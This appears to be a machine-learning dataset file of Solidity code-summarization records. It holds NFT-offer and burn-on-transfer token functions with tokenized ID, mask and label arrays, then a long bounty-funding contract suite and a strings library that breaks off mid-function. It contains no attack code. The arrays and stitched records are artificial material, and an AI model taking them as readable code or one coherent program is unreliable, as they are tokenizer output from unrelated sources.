function acceptOffer( address _nftAddress, uint256 _tokenId, address _creator ) external nonReentrant offerExists(_nftAddress, _tokenId, _creator) { _acceptOffer(_nftAddress, _tokenId, _creator, ""); }
14,679,213
[ 1, 1305, 364, 25806, 326, 10067, 225, 389, 82, 1222, 1887, 423, 4464, 6835, 1758, 225, 389, 2316, 548, 3155, 548, 225, 389, 20394, 25753, 11784, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2791, 10513, 12, 203, 3639, 1758, 389, 82, 1222, 1887, 16, 203, 3639, 2254, 5034, 389, 2316, 548, 16, 203, 3639, 1758, 389, 20394, 203, 565, 262, 3903, 1661, 426, 8230, 970, 10067, 4002, 24899, 82, 1222, 1887, 16, 389, 2316, 548, 16, 389, 20394, 13, 288, 203, 3639, 389, 9436, 10513, 24899, 82, 1222, 1887, 16, 389, 2316, 548, 16, 389, 20394, 16, 1408, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x239FA506F01974D253c8762ACe4e2761F1bDcA7F/sources/CANE.sol
e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
function _transfer(address sender, address recipient, uint256 amount) internal virtual override { CANE if (transferBurnRate > 0 && _transferBurnExceptAddresses[sender] != true && _transferBurnExceptAddresses[recipient] != true && recipient != address(0)) { uint256 _burntAmount = amount * transferBurnRate / 100; super._burn(sender, _burntAmount); amount = amount - _burntAmount; } super._transfer(sender, recipient, amount); _moveDelegates(_delegates[sender], _delegates[recipient], amount); }
11,339,301
[ 1, 73, 18, 75, 18, 2348, 5859, 1147, 1656, 281, 16, 9026, 310, 1791, 28757, 16, 5527, 18, 7377, 1282, 279, 288, 5912, 97, 871, 18, 29076, 30, 300, 1375, 15330, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 20367, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 15330, 68, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 2713, 5024, 3849, 288, 203, 39, 1258, 41, 203, 3639, 309, 261, 13866, 38, 321, 4727, 405, 374, 597, 389, 13866, 38, 321, 30212, 7148, 63, 15330, 65, 480, 638, 597, 389, 13866, 38, 321, 30212, 7148, 63, 20367, 65, 480, 638, 597, 8027, 480, 1758, 12, 20, 3719, 288, 203, 5411, 2254, 5034, 389, 70, 321, 88, 6275, 273, 3844, 380, 7412, 38, 321, 4727, 342, 2130, 31, 203, 5411, 2240, 6315, 70, 321, 12, 15330, 16, 389, 70, 321, 88, 6275, 1769, 203, 5411, 3844, 273, 3844, 300, 389, 70, 321, 88, 6275, 31, 203, 3639, 289, 203, 203, 3639, 2240, 6315, 13866, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 3639, 389, 8501, 15608, 815, 24899, 3771, 1332, 815, 63, 15330, 6487, 389, 3771, 1332, 815, 63, 20367, 6487, 3844, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() constant public returns (uint); function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Transfer(address indexed _from, address indexed _to, uint256 _value); } /// @dev `Owned` is a base level contract that assigns an `owner` that can be /// later changed contract Owned { /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner { require(msg.sender == owner); _; } address public owner; /// @notice The Constructor assigns the message sender to be `owner` function Owned() public {owner = msg.sender;} /// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner. 0x0 can be used to create /// an unowned neutral vault, however that cannot be undone function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } } contract Callable is Owned { //sender => _allowed mapping(address => bool) public callers; //modifiers modifier onlyCaller { require(callers[msg.sender]); _; } //management of the repositories function updateCaller(address _caller, bool allowed) public onlyOwner { callers[_caller] = allowed; } } contract EternalStorage is Callable { mapping(bytes32 => uint) uIntStorage; mapping(bytes32 => string) stringStorage; mapping(bytes32 => address) addressStorage; mapping(bytes32 => bytes) bytesStorage; mapping(bytes32 => bool) boolStorage; mapping(bytes32 => int) intStorage; // *** Getter Methods *** function getUint(bytes32 _key) external view returns (uint) { return uIntStorage[_key]; } function getString(bytes32 _key) external view returns (string) { return stringStorage[_key]; } function getAddress(bytes32 _key) external view returns (address) { return addressStorage[_key]; } function getBytes(bytes32 _key) external view returns (bytes) { return bytesStorage[_key]; } function getBool(bytes32 _key) external view returns (bool) { return boolStorage[_key]; } function getInt(bytes32 _key) external view returns (int) { return intStorage[_key]; } // *** Setter Methods *** function setUint(bytes32 _key, uint _value) onlyCaller external { uIntStorage[_key] = _value; } function setString(bytes32 _key, string _value) onlyCaller external { stringStorage[_key] = _value; } function setAddress(bytes32 _key, address _value) onlyCaller external { addressStorage[_key] = _value; } function setBytes(bytes32 _key, bytes _value) onlyCaller external { bytesStorage[_key] = _value; } function setBool(bytes32 _key, bool _value) onlyCaller external { boolStorage[_key] = _value; } function setInt(bytes32 _key, int _value) onlyCaller external { intStorage[_key] = _value; } // *** Delete Methods *** function deleteUint(bytes32 _key) onlyCaller external { delete uIntStorage[_key]; } function deleteString(bytes32 _key) onlyCaller external { delete stringStorage[_key]; } function deleteAddress(bytes32 _key) onlyCaller external { delete addressStorage[_key]; } function deleteBytes(bytes32 _key) onlyCaller external { delete bytesStorage[_key]; } function deleteBool(bytes32 _key) onlyCaller external { delete boolStorage[_key]; } function deleteInt(bytes32 _key) onlyCaller external { delete intStorage[_key]; } } /* * Database Contract * Davy Van Roy * Quinten De Swaef */ contract FundRepository is Callable { using SafeMath for uint256; EternalStorage public db; //platform -> platformId => _funding mapping(bytes32 => mapping(string => Funding)) funds; struct Funding { address[] funders; //funders that funded tokens address[] tokens; //tokens that were funded mapping(address => TokenFunding) tokenFunding; } struct TokenFunding { mapping(address => uint256) balance; uint256 totalTokenBalance; } constructor(address _eternalStorage) public { db = EternalStorage(_eternalStorage); } function updateFunders(address _from, bytes32 _platform, string _platformId) public onlyCaller { bool existing = db.getBool(keccak256(abi.encodePacked("funds.userHasFunded", _platform, _platformId, _from))); if (!existing) { uint funderCount = getFunderCount(_platform, _platformId); db.setAddress(keccak256(abi.encodePacked("funds.funders.address", _platform, _platformId, funderCount)), _from); db.setUint(keccak256(abi.encodePacked("funds.funderCount", _platform, _platformId)), funderCount.add(1)); } } function updateBalances(address _from, bytes32 _platform, string _platformId, address _token, uint256 _value) public onlyCaller { if (db.getBool(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _token))) == false) { db.setBool(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _token)), true); //add to the list of tokens for this platformId uint tokenCount = getFundedTokenCount(_platform, _platformId); db.setAddress(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, tokenCount)), _token); db.setUint(keccak256(abi.encodePacked("funds.tokenCount", _platform, _platformId)), tokenCount.add(1)); } //add to the balance of this platformId for this token db.setUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token)), balance(_platform, _platformId, _token).add(_value)); //add to the balance the user has funded for the request db.setUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _from, _token)), amountFunded(_platform, _platformId, _from, _token).add(_value)); //add the fact that the user has now funded this platformId db.setBool(keccak256(abi.encodePacked("funds.userHasFunded", _platform, _platformId, _from)), true); } function claimToken(bytes32 platform, string platformId, address _token) public onlyCaller returns (uint256) { require(!issueResolved(platform, platformId), "Can't claim token, issue is already resolved."); uint256 totalTokenBalance = balance(platform, platformId, _token); db.deleteUint(keccak256(abi.encodePacked("funds.tokenBalance", platform, platformId, _token))); return totalTokenBalance; } function refundToken(bytes32 _platform, string _platformId, address _owner, address _token) public onlyCaller returns (uint256) { require(!issueResolved(_platform, _platformId), "Can't refund token, issue is already resolved."); //delete amount from user, so he can't refund again uint256 userTokenBalance = amountFunded(_platform, _platformId, _owner, _token); db.deleteUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _owner, _token))); uint256 oldBalance = balance(_platform, _platformId, _token); uint256 newBalance = oldBalance.sub(userTokenBalance); require(newBalance <= oldBalance); //subtract amount from tokenBalance db.setUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token)), newBalance); return userTokenBalance; } function finishResolveFund(bytes32 platform, string platformId) public onlyCaller returns (bool) { db.setBool(keccak256(abi.encodePacked("funds.issueResolved", platform, platformId)), true); db.deleteUint(keccak256(abi.encodePacked("funds.funderCount", platform, platformId))); return true; } //constants function getFundInfo(bytes32 _platform, string _platformId, address _funder, address _token) public view returns (uint256, uint256, uint256) { return ( getFunderCount(_platform, _platformId), balance(_platform, _platformId, _token), amountFunded(_platform, _platformId, _funder, _token) ); } function issueResolved(bytes32 _platform, string _platformId) public view returns (bool) { return db.getBool(keccak256(abi.encodePacked("funds.issueResolved", _platform, _platformId))); } function getFundedTokenCount(bytes32 _platform, string _platformId) public view returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.tokenCount", _platform, _platformId))); } function getFundedTokensByIndex(bytes32 _platform, string _platformId, uint _index) public view returns (address) { return db.getAddress(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _index))); } function getFunderCount(bytes32 _platform, string _platformId) public view returns (uint) { return db.getUint(keccak256(abi.encodePacked("funds.funderCount", _platform, _platformId))); } function getFunderByIndex(bytes32 _platform, string _platformId, uint index) external view returns (address) { return db.getAddress(keccak256(abi.encodePacked("funds.funders.address", _platform, _platformId, index))); } function amountFunded(bytes32 _platform, string _platformId, address _funder, address _token) public view returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _funder, _token))); } function balance(bytes32 _platform, string _platformId, address _token) view public returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token))); } } contract ClaimRepository is Callable { using SafeMath for uint256; EternalStorage public db; constructor(address _eternalStorage) public { //constructor require(_eternalStorage != address(0), "Eternal storage cannot be 0x0"); db = EternalStorage(_eternalStorage); } function addClaim(address _solverAddress, bytes32 _platform, string _platformId, string _solver, address _token, uint256 _requestBalance) public onlyCaller returns (bool) { if (db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) != address(0)) { require(db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) == _solverAddress, "Adding a claim needs to happen with the same claimer as before"); } else { db.setString(keccak256(abi.encodePacked("claims.solver", _platform, _platformId)), _solver); db.setAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId)), _solverAddress); } uint tokenCount = db.getUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId))); db.setUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId)), tokenCount.add(1)); db.setUint(keccak256(abi.encodePacked("claims.token.amount", _platform, _platformId, _token)), _requestBalance); db.setAddress(keccak256(abi.encodePacked("claims.token.address", _platform, _platformId, tokenCount)), _token); return true; } function isClaimed(bytes32 _platform, string _platformId) view external returns (bool claimed) { return db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) != address(0); } function getSolverAddress(bytes32 _platform, string _platformId) view external returns (address solverAddress) { return db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))); } function getSolver(bytes32 _platform, string _platformId) view external returns (string){ return db.getString(keccak256(abi.encodePacked("claims.solver", _platform, _platformId))); } function getTokenCount(bytes32 _platform, string _platformId) view external returns (uint count) { return db.getUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId))); } function getTokenByIndex(bytes32 _platform, string _platformId, uint _index) view external returns (address token) { return db.getAddress(keccak256(abi.encodePacked("claims.token.address", _platform, _platformId, _index))); } function getAmountByToken(bytes32 _platform, string _platformId, address _token) view external returns (uint token) { return db.getUint(keccak256(abi.encodePacked("claims.token.amount", _platform, _platformId, _token))); } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal pure returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal pure returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal pure returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal pure returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal pure returns (string) { string memory ret = new string(self._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal pure returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly {b := and(mload(ptr), 0xFF)} if (b < 0x80) { ptr += 1; } else if (b < 0xE0) { ptr += 2; } else if (b < 0xF0) { ptr += 3; } else if (b < 0xF8) { ptr += 4; } else if (b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal pure returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint256 mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal pure returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal pure returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly {b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)} if (b < 0x80) { l = 1; } else if (b < 0xE0) { l = 2; } else if (b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal pure returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly {word := mload(mload(add(self, 32)))} uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if (b < 0xE0) { ret = b & 0x1F; length = 2; } else if (b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } uint selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } uint selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } event log_bytemask(bytes32 mask); // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly {needledata := and(mload(needleptr), mask)} uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly {ptrdata := and(mload(ptr), mask)} while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly {ptrdata := and(mload(ptr), mask)} } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly {needledata := and(mload(needleptr), mask)} ptr = selfptr + selflen - needlelen; bytes32 ptrdata; assembly {ptrdata := and(mload(ptr), mask)} while (ptrdata != needledata) { if (ptr <= selfptr) return selfptr; ptr--; assembly {ptrdata := and(mload(ptr), mask)} } return ptr + needlelen; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal 